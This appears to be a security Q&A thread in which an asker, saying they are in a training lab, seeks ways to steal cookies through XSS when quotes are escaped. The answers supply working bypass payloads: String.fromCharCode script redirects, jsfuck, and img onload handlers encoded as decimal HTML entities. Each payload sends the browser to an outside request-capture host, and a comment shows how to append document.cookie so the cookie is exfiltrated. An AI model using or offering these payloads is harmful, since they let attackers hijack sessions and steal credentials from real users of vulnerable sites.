1

I'm trying to steal a Cookie using XSS in a training lab. The problem is that the server escapes my quotes and double quotes. So if I want to use this payload for instance:

<script>document.location="http://requestb.in/XXXXXXX"</script>

No GET request is performed to "http://requestb.in/XXXXXXX" because of the ' and " getting escaped. (' turns into \' and " turns into '+String.fromCharCode(34)), thus the payload becomes:

<script>document.location=\'http://requestb.in/XXXXXXX"=\'</script>

OR

<script>document.location='+String.fromCharCode(34)+'http://requestb.in/XXXXXXX'+String.fromCharCode(34)+'</script>

So, which other means can one use to perform a Cookie Stealing in those conditions ?

Cheers

2 Answers 2

4

You don't need quotes. One possibility would be to use String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

There is also always jsfuck, which lets you execute arbitrary JavaScript with just ()[]+!.

3
  • Thank you for your help but I have another problem now: converting requestb.in/XXXX?inspect=document.cookie with fromCharCode send a GET request to the requestb page but the "document.cookie" part does not seems to be executed by my browser as I can only see 'document.cookie' written in request bin and not its value
    – george
    Aug 27, 2016 at 15:48
  • @george The result of fromCharCode is interpreted as string, as it should be. If you want to append the results of JavaScript code, that needs to happen outside of fromCharCode, eg fromCharCode(...) + document.cookie
    – tim
    Aug 27, 2016 at 16:27
  • @tim very Nice answer. +1 For jsfuck.
    – Sravan
    Aug 28, 2016 at 14:52
1

If it isn't neccesary to use script tag, you can use HTML tags like iframe or img, the most browsers can interpret them without quotes or double quotes.

<img src=http://requestb.in/XXXXXXX />

Also, you can use Decimal HTML Characters in methods of HTML tags.

<img src=# onload=&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;http://requestb.in/XXXXXXXX&#39; />

Sample without semicolons:

<img src=# onload=&#0000100&#0000111&#0000099&#0000117&#0000109&#0000101&#0000110&#0000116&#0000046&#0000108&#0000111&#0000099&#0000097&#0000116&#0000105&#0000111&#0000110&#0000061&#0000039&#0000104&#0000116&#0000116&#0000112&#0000058&#0000047&#0000047&#0000114&#0000101&#0000113&#0000117&#0000101&#0000115&#0000116&#0000098&#0000046&#0000105&#0000110&#0000047&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000039 />

The last four samples are equivalent to the following code:

<img src=# onload="document.location='http://requestb.in/XXXXXXXX'" />

I hope this information helps you, good luck.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .